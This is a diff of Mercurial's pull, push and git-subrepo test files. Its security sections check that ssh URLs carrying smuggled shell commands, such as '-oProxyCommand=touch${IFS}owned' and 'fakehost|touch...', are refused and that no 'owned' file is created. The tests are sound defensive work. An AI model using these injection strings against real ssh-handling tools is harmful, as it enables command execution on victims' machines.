19 $ cat hg.pid >> $DAEMON_PIDS
20 $ cd ..
20 $ cd ..
21
21
22 $ hg clone --pull http://foo:bar@localhost:$HGPORT/ copy
22 $ hg clone --pull http://foo:bar@localhost:$HGPORT/ copy
23 requesting all changes
23 requesting all changes
24 adding changesets
24 adding changesets
25 adding manifests
25 adding manifests
26 adding file changes
26 adding file changes
27 added 1 changesets with 1 changes to 1 files
27 added 1 changesets with 1 changes to 1 files
28 updating to branch default
28 updating to branch default
29 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
29 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
30
30
31 $ cd copy
31 $ cd copy
32 $ hg verify
32 $ hg verify
33 checking changesets
33 checking changesets
34 checking manifests
34 checking manifests
35 crosschecking files in changesets and manifests
35 crosschecking files in changesets and manifests
36 checking files
36 checking files
37 1 files, 1 changesets, 1 total revisions
37 1 files, 1 changesets, 1 total revisions
38
38
39 $ hg co
39 $ hg co
40 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
40 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
41 $ cat foo
41 $ cat foo
42 foo
42 foo
43
43
44 $ hg manifest --debug
44 $ hg manifest --debug
45 2ed2a3912a0b24502043eae84ee4b279c18b90dd 644 foo
45 2ed2a3912a0b24502043eae84ee4b279c18b90dd 644 foo
46
46
47 $ hg pull
47 $ hg pull
48 pulling from http://foo@localhost:$HGPORT/
48 pulling from http://foo@localhost:$HGPORT/
49 searching for changes
49 searching for changes
50 no changes found
50 no changes found
51
51
52 $ hg rollback --dry-run --verbose
52 $ hg rollback --dry-run --verbose
53 repository tip rolled back to revision -1 (undo pull: http://foo:***@localhost:$HGPORT/)
53 repository tip rolled back to revision -1 (undo pull: http://foo:***@localhost:$HGPORT/)
54
54
55 Test pull of non-existing 20 character revision specification, making sure plain ascii identifiers
55 Test pull of non-existing 20 character revision specification, making sure plain ascii identifiers
56 not are encoded like a node:
56 not are encoded like a node:
57
57
58 $ hg pull -r 'xxxxxxxxxxxxxxxxxxxy'
58 $ hg pull -r 'xxxxxxxxxxxxxxxxxxxy'
59 pulling from http://foo@localhost:$HGPORT/
59 pulling from http://foo@localhost:$HGPORT/
60 abort: unknown revision 'xxxxxxxxxxxxxxxxxxxy'!
60 abort: unknown revision 'xxxxxxxxxxxxxxxxxxxy'!
61 [255]
61 [255]
62 $ hg pull -r 'xxxxxxxxxxxxxxxxxx y'
62 $ hg pull -r 'xxxxxxxxxxxxxxxxxx y'
63 pulling from http://foo@localhost:$HGPORT/
63 pulling from http://foo@localhost:$HGPORT/
64 abort: unknown revision '7878787878787878787878787878787878782079'!
64 abort: unknown revision '7878787878787878787878787878787878782079'!
65 [255]
65 [255]
66
66
67 Issue622: hg init && hg pull -u URL doesn't checkout default branch
67 Issue622: hg init && hg pull -u URL doesn't checkout default branch
68
68
69 $ cd ..
69 $ cd ..
70 $ hg init empty
70 $ hg init empty
71 $ cd empty
71 $ cd empty
72 $ hg pull -u ../test
72 $ hg pull -u ../test
73 pulling from ../test
73 pulling from ../test
74 requesting all changes
74 requesting all changes
75 adding changesets
75 adding changesets
76 adding manifests
76 adding manifests
77 adding file changes
77 adding file changes
78 added 1 changesets with 1 changes to 1 files
78 added 1 changesets with 1 changes to 1 files
79 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
79 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
80
80
81 Test 'file:' uri handling:
81 Test 'file:' uri handling:
82
82
83 $ hg pull -q file://../test-does-not-exist
83 $ hg pull -q file://../test-does-not-exist
84 abort: file:// URLs can only refer to localhost
84 abort: file:// URLs can only refer to localhost
85 [255]
85 [255]
86
86
87 $ hg pull -q file://../test
87 $ hg pull -q file://../test
88 abort: file:// URLs can only refer to localhost
88 abort: file:// URLs can only refer to localhost
89 [255]
89 [255]
90
90
91 MSYS changes 'file:' into 'file;'
91 MSYS changes 'file:' into 'file;'
92
92
93 #if no-msys
93 #if no-msys
94 $ hg pull -q file:../test # no-msys
94 $ hg pull -q file:../test # no-msys
95 #endif
95 #endif
96
96
97 It's tricky to make file:// URLs working on every platform with
97 It's tricky to make file:// URLs working on every platform with
98 regular shell commands.
98 regular shell commands.
99
99
100 $ URL=`$PYTHON -c "import os; print 'file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
100 $ URL=`$PYTHON -c "import os; print 'file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
101 $ hg pull -q "$URL"
101 $ hg pull -q "$URL"
102 abort: file:// URLs can only refer to localhost
102 abort: file:// URLs can only refer to localhost
103 [255]
103 [255]
104
104
105 $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
105 $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
106 $ hg pull -q "$URL"
106 $ hg pull -q "$URL"
107
107
108 SEC: check for unsafe ssh url
108 SEC: check for unsafe ssh url
109
109
110 $ cat >> $HGRCPATH << EOF
111 > [ui]
112 > ssh = sh -c "read l; read l; read l"
113 > EOF
114
110 $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
115 $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
111 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
116 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
112 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
117 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
113 [255]
118 [255]
114 $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
119 $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
115 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
120 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
116 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
121 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
117 [255]
122 [255]
118 $ hg pull 'ssh://fakehost|shellcommand/path'
123 $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
119 pulling from ssh://fakehost%7Cshellcommand/path
124 pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
120 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
125 abort: no suitable response from remote hg!
121 [255]
126 [255]
122 $ hg pull 'ssh://fakehost%7Cshellcommand/path'
127 $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
123 pulling from ssh://fakehost%7Cshellcommand/path
128 pulling from ssh://fakehost%7Ctouch%20owned/path
124 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
129 abort: no suitable response from remote hg!
125 [255]
130 [255]
126
131
132 $ [ ! -f owned ] || echo 'you got owned'
133
127 $ cd ..
134 $ cd ..
@@ -1,317 +1,324 b''
1 ==================================
1 ==================================
2 Basic testing for the push command
2 Basic testing for the push command
3 ==================================
3 ==================================
4
4
5 Testing of the '--rev' flag
5 Testing of the '--rev' flag
6 ===========================
6 ===========================
7
7
8 $ hg init test-revflag
8 $ hg init test-revflag
9 $ hg -R test-revflag unbundle "$TESTDIR/bundles/remote.hg"
9 $ hg -R test-revflag unbundle "$TESTDIR/bundles/remote.hg"
10 adding changesets
10 adding changesets
11 adding manifests
11 adding manifests
12 adding file changes
12 adding file changes
13 added 9 changesets with 7 changes to 4 files (+1 heads)
13 added 9 changesets with 7 changes to 4 files (+1 heads)
14 (run 'hg heads' to see heads, 'hg merge' to merge)
14 (run 'hg heads' to see heads, 'hg merge' to merge)
15
15
16 $ for i in 0 1 2 3 4 5 6 7 8; do
16 $ for i in 0 1 2 3 4 5 6 7 8; do
17 > echo
17 > echo
18 > hg init test-revflag-"$i"
18 > hg init test-revflag-"$i"
19 > hg -R test-revflag push -r "$i" test-revflag-"$i"
19 > hg -R test-revflag push -r "$i" test-revflag-"$i"
20 > hg -R test-revflag-"$i" verify
20 > hg -R test-revflag-"$i" verify
21 > done
21 > done
22
22
23 pushing to test-revflag-0
23 pushing to test-revflag-0
24 searching for changes
24 searching for changes
25 adding changesets
25 adding changesets
26 adding manifests
26 adding manifests
27 adding file changes
27 adding file changes
28 added 1 changesets with 1 changes to 1 files
28 added 1 changesets with 1 changes to 1 files
29 checking changesets
29 checking changesets
30 checking manifests
30 checking manifests
31 crosschecking files in changesets and manifests
31 crosschecking files in changesets and manifests
32 checking files
32 checking files
33 1 files, 1 changesets, 1 total revisions
33 1 files, 1 changesets, 1 total revisions
34
34
35 pushing to test-revflag-1
35 pushing to test-revflag-1
36 searching for changes
36 searching for changes
37 adding changesets
37 adding changesets
38 adding manifests
38 adding manifests
39 adding file changes
39 adding file changes
40 added 2 changesets with 2 changes to 1 files
40 added 2 changesets with 2 changes to 1 files
41 checking changesets
41 checking changesets
42 checking manifests
42 checking manifests
43 crosschecking files in changesets and manifests
43 crosschecking files in changesets and manifests
44 checking files
44 checking files
45 1 files, 2 changesets, 2 total revisions
45 1 files, 2 changesets, 2 total revisions
46
46
47 pushing to test-revflag-2
47 pushing to test-revflag-2
48 searching for changes
48 searching for changes
49 adding changesets
49 adding changesets
50 adding manifests
50 adding manifests
51 adding file changes
51 adding file changes
52 added 3 changesets with 3 changes to 1 files
52 added 3 changesets with 3 changes to 1 files
53 checking changesets
53 checking changesets
54 checking manifests
54 checking manifests
55 crosschecking files in changesets and manifests
55 crosschecking files in changesets and manifests
56 checking files
56 checking files
57 1 files, 3 changesets, 3 total revisions
57 1 files, 3 changesets, 3 total revisions
58
58
59 pushing to test-revflag-3
59 pushing to test-revflag-3
60 searching for changes
60 searching for changes
61 adding changesets
61 adding changesets
62 adding manifests
62 adding manifests
63 adding file changes
63 adding file changes
64 added 4 changesets with 4 changes to 1 files
64 added 4 changesets with 4 changes to 1 files
65 checking changesets
65 checking changesets
66 checking manifests
66 checking manifests
67 crosschecking files in changesets and manifests
67 crosschecking files in changesets and manifests
68 checking files
68 checking files
69 1 files, 4 changesets, 4 total revisions
69 1 files, 4 changesets, 4 total revisions
70
70
71 pushing to test-revflag-4
71 pushing to test-revflag-4
72 searching for changes
72 searching for changes
73 adding changesets
73 adding changesets
74 adding manifests
74 adding manifests
75 adding file changes
75 adding file changes
76 added 2 changesets with 2 changes to 1 files
76 added 2 changesets with 2 changes to 1 files
77 checking changesets
77 checking changesets
78 checking manifests
78 checking manifests
79 crosschecking files in changesets and manifests
79 crosschecking files in changesets and manifests
80 checking files
80 checking files
81 1 files, 2 changesets, 2 total revisions
81 1 files, 2 changesets, 2 total revisions
82
82
83 pushing to test-revflag-5
83 pushing to test-revflag-5
84 searching for changes
84 searching for changes
85 adding changesets
85 adding changesets
86 adding manifests
86 adding manifests
87 adding file changes
87 adding file changes
88 added 3 changesets with 3 changes to 1 files
88 added 3 changesets with 3 changes to 1 files
89 checking changesets
89 checking changesets
90 checking manifests
90 checking manifests
91 crosschecking files in changesets and manifests
91 crosschecking files in changesets and manifests
92 checking files
92 checking files
93 1 files, 3 changesets, 3 total revisions
93 1 files, 3 changesets, 3 total revisions
94
94
95 pushing to test-revflag-6
95 pushing to test-revflag-6
96 searching for changes
96 searching for changes
97 adding changesets
97 adding changesets
98 adding manifests
98 adding manifests
99 adding file changes
99 adding file changes
100 added 4 changesets with 5 changes to 2 files
100 added 4 changesets with 5 changes to 2 files
101 checking changesets
101 checking changesets
102 checking manifests
102 checking manifests
103 crosschecking files in changesets and manifests
103 crosschecking files in changesets and manifests
104 checking files
104 checking files
105 2 files, 4 changesets, 5 total revisions
105 2 files, 4 changesets, 5 total revisions
106
106
107 pushing to test-revflag-7
107 pushing to test-revflag-7
108 searching for changes
108 searching for changes
109 adding changesets
109 adding changesets
110 adding manifests
110 adding manifests
111 adding file changes
111 adding file changes
112 added 5 changesets with 6 changes to 3 files
112 added 5 changesets with 6 changes to 3 files
113 checking changesets
113 checking changesets
114 checking manifests
114 checking manifests
115 crosschecking files in changesets and manifests
115 crosschecking files in changesets and manifests
116 checking files
116 checking files
117 3 files, 5 changesets, 6 total revisions
117 3 files, 5 changesets, 6 total revisions
118
118
119 pushing to test-revflag-8
119 pushing to test-revflag-8
120 searching for changes
120 searching for changes
121 adding changesets
121 adding changesets
122 adding manifests
122 adding manifests
123 adding file changes
123 adding file changes
124 added 5 changesets with 5 changes to 2 files
124 added 5 changesets with 5 changes to 2 files
125 checking changesets
125 checking changesets
126 checking manifests
126 checking manifests
127 crosschecking files in changesets and manifests
127 crosschecking files in changesets and manifests
128 checking files
128 checking files
129 2 files, 5 changesets, 5 total revisions
129 2 files, 5 changesets, 5 total revisions
130
130
131 $ cd test-revflag-8
131 $ cd test-revflag-8
132
132
133 $ hg pull ../test-revflag-7
133 $ hg pull ../test-revflag-7
134 pulling from ../test-revflag-7
134 pulling from ../test-revflag-7
135 searching for changes
135 searching for changes
136 adding changesets
136 adding changesets
137 adding manifests
137 adding manifests
138 adding file changes
138 adding file changes
139 added 4 changesets with 2 changes to 3 files (+1 heads)
139 added 4 changesets with 2 changes to 3 files (+1 heads)
140 (run 'hg heads' to see heads, 'hg merge' to merge)
140 (run 'hg heads' to see heads, 'hg merge' to merge)
141
141
142 $ hg verify
142 $ hg verify
143 checking changesets
143 checking changesets
144 checking manifests
144 checking manifests
145 crosschecking files in changesets and manifests
145 crosschecking files in changesets and manifests
146 checking files
146 checking files
147 4 files, 9 changesets, 7 total revisions
147 4 files, 9 changesets, 7 total revisions
148
148
149 $ cd ..
149 $ cd ..
150
150
151 Test server side validation during push
151 Test server side validation during push
152 =======================================
152 =======================================
153
153
154 $ hg init test-validation
154 $ hg init test-validation
155 $ cd test-validation
155 $ cd test-validation
156
156
157 $ cat > .hg/hgrc <<EOF
157 $ cat > .hg/hgrc <<EOF
158 > [server]
158 > [server]
159 > validate=1
159 > validate=1
160 > EOF
160 > EOF
161
161
162 $ echo alpha > alpha
162 $ echo alpha > alpha
163 $ echo beta > beta
163 $ echo beta > beta
164 $ hg addr
164 $ hg addr
165 adding alpha
165 adding alpha
166 adding beta
166 adding beta
167 $ hg ci -m 1
167 $ hg ci -m 1
168
168
169 $ cd ..
169 $ cd ..
170 $ hg clone test-validation test-validation-clone
170 $ hg clone test-validation test-validation-clone
171 updating to branch default
171 updating to branch default
172 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
172 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
173
173
174 Test spurious filelog entries:
174 Test spurious filelog entries:
175
175
176 $ cd test-validation-clone
176 $ cd test-validation-clone
177 $ echo blah >> beta
177 $ echo blah >> beta
178 $ cp .hg/store/data/beta.i tmp1
178 $ cp .hg/store/data/beta.i tmp1
179 $ hg ci -m 2
179 $ hg ci -m 2
180 $ cp .hg/store/data/beta.i tmp2
180 $ cp .hg/store/data/beta.i tmp2
181 $ hg -q rollback
181 $ hg -q rollback
182 $ mv tmp2 .hg/store/data/beta.i
182 $ mv tmp2 .hg/store/data/beta.i
183 $ echo blah >> beta
183 $ echo blah >> beta
184 $ hg ci -m '2 (corrupt)'
184 $ hg ci -m '2 (corrupt)'
185
185
186 Expected to fail:
186 Expected to fail:
187
187
188 $ hg verify
188 $ hg verify
189 checking changesets
189 checking changesets
190 checking manifests
190 checking manifests
191 crosschecking files in changesets and manifests
191 crosschecking files in changesets and manifests
192 checking files
192 checking files
193 beta@1: dddc47b3ba30 not in manifests
193 beta@1: dddc47b3ba30 not in manifests
194 2 files, 2 changesets, 4 total revisions
194 2 files, 2 changesets, 4 total revisions
195 1 integrity errors encountered!
195 1 integrity errors encountered!
196 (first damaged changeset appears to be 1)
196 (first damaged changeset appears to be 1)
197 [1]
197 [1]
198
198
199 $ hg push
199 $ hg push
200 pushing to $TESTTMP/test-validation (glob)
200 pushing to $TESTTMP/test-validation (glob)
201 searching for changes
201 searching for changes
202 adding changesets
202 adding changesets
203 adding manifests
203 adding manifests
204 adding file changes
204 adding file changes
205 transaction abort!
205 transaction abort!
206 rollback completed
206 rollback completed
207 abort: received spurious file revlog entry
207 abort: received spurious file revlog entry
208 [255]
208 [255]
209
209
210 $ hg -q rollback
210 $ hg -q rollback
211 $ mv tmp1 .hg/store/data/beta.i
211 $ mv tmp1 .hg/store/data/beta.i
212 $ echo beta > beta
212 $ echo beta > beta
213
213
214 Test missing filelog entries:
214 Test missing filelog entries:
215
215
216 $ cp .hg/store/data/beta.i tmp
216 $ cp .hg/store/data/beta.i tmp
217 $ echo blah >> beta
217 $ echo blah >> beta
218 $ hg ci -m '2 (corrupt)'
218 $ hg ci -m '2 (corrupt)'
219 $ mv tmp .hg/store/data/beta.i
219 $ mv tmp .hg/store/data/beta.i
220
220
221 Expected to fail:
221 Expected to fail:
222
222
223 $ hg verify
223 $ hg verify
224 checking changesets
224 checking changesets
225 checking manifests
225 checking manifests
226 crosschecking files in changesets and manifests
226 crosschecking files in changesets and manifests
227 checking files
227 checking files
228 beta@1: manifest refers to unknown revision dddc47b3ba30
228 beta@1: manifest refers to unknown revision dddc47b3ba30
229 2 files, 2 changesets, 2 total revisions
229 2 files, 2 changesets, 2 total revisions
230 1 integrity errors encountered!
230 1 integrity errors encountered!
231 (first damaged changeset appears to be 1)
231 (first damaged changeset appears to be 1)
232 [1]
232 [1]
233
233
234 $ hg push
234 $ hg push
235 pushing to $TESTTMP/test-validation (glob)
235 pushing to $TESTTMP/test-validation (glob)
236 searching for changes
236 searching for changes
237 adding changesets
237 adding changesets
238 adding manifests
238 adding manifests
239 adding file changes
239 adding file changes
240 transaction abort!
240 transaction abort!
241 rollback completed
241 rollback completed
242 abort: missing file data for beta:dddc47b3ba30e54484720ce0f4f768a0f4b6efb9 - run hg verify
242 abort: missing file data for beta:dddc47b3ba30e54484720ce0f4f768a0f4b6efb9 - run hg verify
243 [255]
243 [255]
244
244
245 $ cd ..
245 $ cd ..
246
246
247 Test push hook locking
247 Test push hook locking
248 =====================
248 =====================
249
249
250 $ hg init 1
250 $ hg init 1
251
251
252 $ echo '[ui]' >> 1/.hg/hgrc
252 $ echo '[ui]' >> 1/.hg/hgrc
253 $ echo 'timeout = 10' >> 1/.hg/hgrc
253 $ echo 'timeout = 10' >> 1/.hg/hgrc
254
254
255 $ echo foo > 1/foo
255 $ echo foo > 1/foo
256 $ hg --cwd 1 ci -A -m foo
256 $ hg --cwd 1 ci -A -m foo
257 adding foo
257 adding foo
258
258
259 $ hg clone 1 2
259 $ hg clone 1 2
260 updating to branch default
260 updating to branch default
261 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
261 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
262
262
263 $ hg clone 2 3
263 $ hg clone 2 3
264 updating to branch default
264 updating to branch default
265 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
265 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
266
266
267 $ cat <<EOF > $TESTTMP/debuglocks-pretxn-hook.sh
267 $ cat <<EOF > $TESTTMP/debuglocks-pretxn-hook.sh
268 > hg debuglocks
268 > hg debuglocks
269 > true
269 > true
270 > EOF
270 > EOF
271 $ echo '[hooks]' >> 2/.hg/hgrc
271 $ echo '[hooks]' >> 2/.hg/hgrc
272 $ echo "pretxnchangegroup.a = sh $TESTTMP/debuglocks-pretxn-hook.sh" >> 2/.hg/hgrc
272 $ echo "pretxnchangegroup.a = sh $TESTTMP/debuglocks-pretxn-hook.sh" >> 2/.hg/hgrc
273 $ echo 'changegroup.push = hg push -qf ../1' >> 2/.hg/hgrc
273 $ echo 'changegroup.push = hg push -qf ../1' >> 2/.hg/hgrc
274
274
275 $ echo bar >> 3/foo
275 $ echo bar >> 3/foo
276 $ hg --cwd 3 ci -m bar
276 $ hg --cwd 3 ci -m bar
277
277
278 $ hg --cwd 3 push ../2 --config devel.legacy.exchange=bundle1
278 $ hg --cwd 3 push ../2 --config devel.legacy.exchange=bundle1
279 pushing to ../2
279 pushing to ../2
280 searching for changes
280 searching for changes
281 adding changesets
281 adding changesets
282 adding manifests
282 adding manifests
283 adding file changes
283 adding file changes
284 added 1 changesets with 1 changes to 1 files
284 added 1 changesets with 1 changes to 1 files
285 lock: user *, process * (*s) (glob)
285 lock: user *, process * (*s) (glob)
286 wlock: free
286 wlock: free
287
287
288 $ hg --cwd 1 --config extensions.strip= strip tip -q
288 $ hg --cwd 1 --config extensions.strip= strip tip -q
289 $ hg --cwd 2 --config extensions.strip= strip tip -q
289 $ hg --cwd 2 --config extensions.strip= strip tip -q
290 $ hg --cwd 3 push ../2 # bundle2+
290 $ hg --cwd 3 push ../2 # bundle2+
291 pushing to ../2
291 pushing to ../2
292 searching for changes
292 searching for changes
293 adding changesets
293 adding changesets
294 adding manifests
294 adding manifests
295 adding file changes
295 adding file changes
296 added 1 changesets with 1 changes to 1 files
296 added 1 changesets with 1 changes to 1 files
297 lock: user *, process * (*s) (glob)
297 lock: user *, process * (*s) (glob)
298 wlock: user *, process * (*s) (glob)
298 wlock: user *, process * (*s) (glob)
299
299
300 SEC: check for unsafe ssh url
300 SEC: check for unsafe ssh url
301
301
302 $ cat >> $HGRCPATH << EOF
303 > [ui]
304 > ssh = sh -c "read l; read l; read l"
305 > EOF
306
302 $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path'
307 $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path'
303 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
308 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
304 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
309 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
305 [255]
310 [255]
306 $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
311 $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
307 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
312 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
308 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
313 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
309 [255]
314 [255]
310 $ hg -R test-revflag push 'ssh://fakehost|shellcommand/path'
315 $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path'
311 pushing to ssh://fakehost%7Cshellcommand/path
316 pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
312 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
317 abort: no suitable response from remote hg!
313 [255]
318 [255]
314 $ hg -R test-revflag push 'ssh://fakehost%7Cshellcommand/path'
319 $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path'
315 pushing to ssh://fakehost%7Cshellcommand/path
320 pushing to ssh://fakehost%7Ctouch%20owned/path
316 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
321 abort: no suitable response from remote hg!
317 [255]
322 [255]
323
324 $ [ ! -f owned ] || echo 'you got owned'
@@ -1,1230 +1,1207 b''
1 #require git
1 #require git
2
2
3 make git commits repeatable
3 make git commits repeatable
4
4
5 $ echo "[core]" >> $HOME/.gitconfig
5 $ echo "[core]" >> $HOME/.gitconfig
6 $ echo "autocrlf = false" >> $HOME/.gitconfig
6 $ echo "autocrlf = false" >> $HOME/.gitconfig
7 $ GIT_AUTHOR_NAME='test'; export GIT_AUTHOR_NAME
7 $ GIT_AUTHOR_NAME='test'; export GIT_AUTHOR_NAME
8 $ GIT_AUTHOR_EMAIL='test@example.org'; export GIT_AUTHOR_EMAIL
8 $ GIT_AUTHOR_EMAIL='test@example.org'; export GIT_AUTHOR_EMAIL
9 $ GIT_AUTHOR_DATE='1234567891 +0000'; export GIT_AUTHOR_DATE
9 $ GIT_AUTHOR_DATE='1234567891 +0000'; export GIT_AUTHOR_DATE
10 $ GIT_COMMITTER_NAME="$GIT_AUTHOR_NAME"; export GIT_COMMITTER_NAME
10 $ GIT_COMMITTER_NAME="$GIT_AUTHOR_NAME"; export GIT_COMMITTER_NAME
11 $ GIT_COMMITTER_EMAIL="$GIT_AUTHOR_EMAIL"; export GIT_COMMITTER_EMAIL
11 $ GIT_COMMITTER_EMAIL="$GIT_AUTHOR_EMAIL"; export GIT_COMMITTER_EMAIL
12 $ GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"; export GIT_COMMITTER_DATE
12 $ GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"; export GIT_COMMITTER_DATE
13 $ GIT_CONFIG_NOSYSTEM=1; export GIT_CONFIG_NOSYSTEM
13 $ GIT_CONFIG_NOSYSTEM=1; export GIT_CONFIG_NOSYSTEM
14
14
15 root hg repo
15 root hg repo
16
16
17 $ hg init t
17 $ hg init t
18 $ cd t
18 $ cd t
19 $ echo a > a
19 $ echo a > a
20 $ hg add a
20 $ hg add a
21 $ hg commit -m a
21 $ hg commit -m a
22 $ cd ..
22 $ cd ..
23
23
24 new external git repo
24 new external git repo
25
25
26 $ mkdir gitroot
26 $ mkdir gitroot
27 $ cd gitroot
27 $ cd gitroot
28 $ git init -q
28 $ git init -q
29 $ echo g > g
29 $ echo g > g
30 $ git add g
30 $ git add g
31 $ git commit -q -m g
31 $ git commit -q -m g
32
32
33 add subrepo clone
33 add subrepo clone
34
34
35 $ cd ../t
35 $ cd ../t
36 $ echo 's = [git]../gitroot' > .hgsub
36 $ echo 's = [git]../gitroot' > .hgsub
37 $ git clone -q ../gitroot s
37 $ git clone -q ../gitroot s
38 $ hg add .hgsub
38 $ hg add .hgsub
39 $ hg commit -m 'new git subrepo'
39 $ hg commit -m 'new git subrepo'
40 $ hg debugsub
40 $ hg debugsub
41 path s
41 path s
42 source ../gitroot
42 source ../gitroot
43 revision da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
43 revision da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
44
44
45 record a new commit from upstream from a different branch
45 record a new commit from upstream from a different branch
46
46
47 $ cd ../gitroot
47 $ cd ../gitroot
48 $ git checkout -q -b testing
48 $ git checkout -q -b testing
49 $ echo gg >> g
49 $ echo gg >> g
50 $ git commit -q -a -m gg
50 $ git commit -q -a -m gg
51
51
52 $ cd ../t/s
52 $ cd ../t/s
53 $ git pull -q >/dev/null 2>/dev/null
53 $ git pull -q >/dev/null 2>/dev/null
54 $ git checkout -q -b testing origin/testing >/dev/null
54 $ git checkout -q -b testing origin/testing >/dev/null
55
55
56 $ cd ..
56 $ cd ..
57 $ hg status --subrepos
57 $ hg status --subrepos
58 M s/g
58 M s/g
59 $ hg commit -m 'update git subrepo'
59 $ hg commit -m 'update git subrepo'
60 $ hg debugsub
60 $ hg debugsub
61 path s
61 path s
62 source ../gitroot
62 source ../gitroot
63 revision 126f2a14290cd5ce061fdedc430170e8d39e1c5a
63 revision 126f2a14290cd5ce061fdedc430170e8d39e1c5a
64
64
65 make $GITROOT pushable, by replacing it with a clone with nothing checked out
65 make $GITROOT pushable, by replacing it with a clone with nothing checked out
66
66
67 $ cd ..
67 $ cd ..
68 $ git clone gitroot gitrootbare --bare -q
68 $ git clone gitroot gitrootbare --bare -q
69 $ rm -rf gitroot
69 $ rm -rf gitroot
70 $ mv gitrootbare gitroot
70 $ mv gitrootbare gitroot
71
71
72 clone root
72 clone root
73
73
74 $ cd t
74 $ cd t
75 $ hg clone . ../tc 2> /dev/null
75 $ hg clone . ../tc 2> /dev/null
76 updating to branch default
76 updating to branch default
77 cloning subrepo s from $TESTTMP/gitroot
77 cloning subrepo s from $TESTTMP/gitroot
78 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
78 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
79 $ cd ../tc
79 $ cd ../tc
80 $ hg debugsub
80 $ hg debugsub
81 path s
81 path s
82 source ../gitroot
82 source ../gitroot
83 revision 126f2a14290cd5ce061fdedc430170e8d39e1c5a
83 revision 126f2a14290cd5ce061fdedc430170e8d39e1c5a
84
84
85 update to previous substate
85 update to previous substate
86
86
87 $ hg update 1 -q
87 $ hg update 1 -q
88 $ cat s/g
88 $ cat s/g
89 g
89 g
90 $ hg debugsub
90 $ hg debugsub
91 path s
91 path s
92 source ../gitroot
92 source ../gitroot
93 revision da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
93 revision da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
94
94
95 clone root, make local change
95 clone root, make local change
96
96
97 $ cd ../t
97 $ cd ../t
98 $ hg clone . ../ta 2> /dev/null
98 $ hg clone . ../ta 2> /dev/null
99 updating to branch default
99 updating to branch default
100 cloning subrepo s from $TESTTMP/gitroot
100 cloning subrepo s from $TESTTMP/gitroot
101 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
101 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
102
102
103 $ cd ../ta
103 $ cd ../ta
104 $ echo ggg >> s/g
104 $ echo ggg >> s/g
105 $ hg status --subrepos
105 $ hg status --subrepos
106 M s/g
106 M s/g
107 $ hg diff --subrepos
107 $ hg diff --subrepos
108 diff --git a/s/g b/s/g
108 diff --git a/s/g b/s/g
109 index 089258f..85341ee 100644
109 index 089258f..85341ee 100644
110 --- a/s/g
110 --- a/s/g
111 +++ b/s/g
111 +++ b/s/g
112 @@ -1,2 +1,3 @@
112 @@ -1,2 +1,3 @@
113 g
113 g
114 gg
114 gg
115 +ggg
115 +ggg
116 $ hg commit --subrepos -m ggg
116 $ hg commit --subrepos -m ggg
117 committing subrepository s
117 committing subrepository s
118 $ hg debugsub
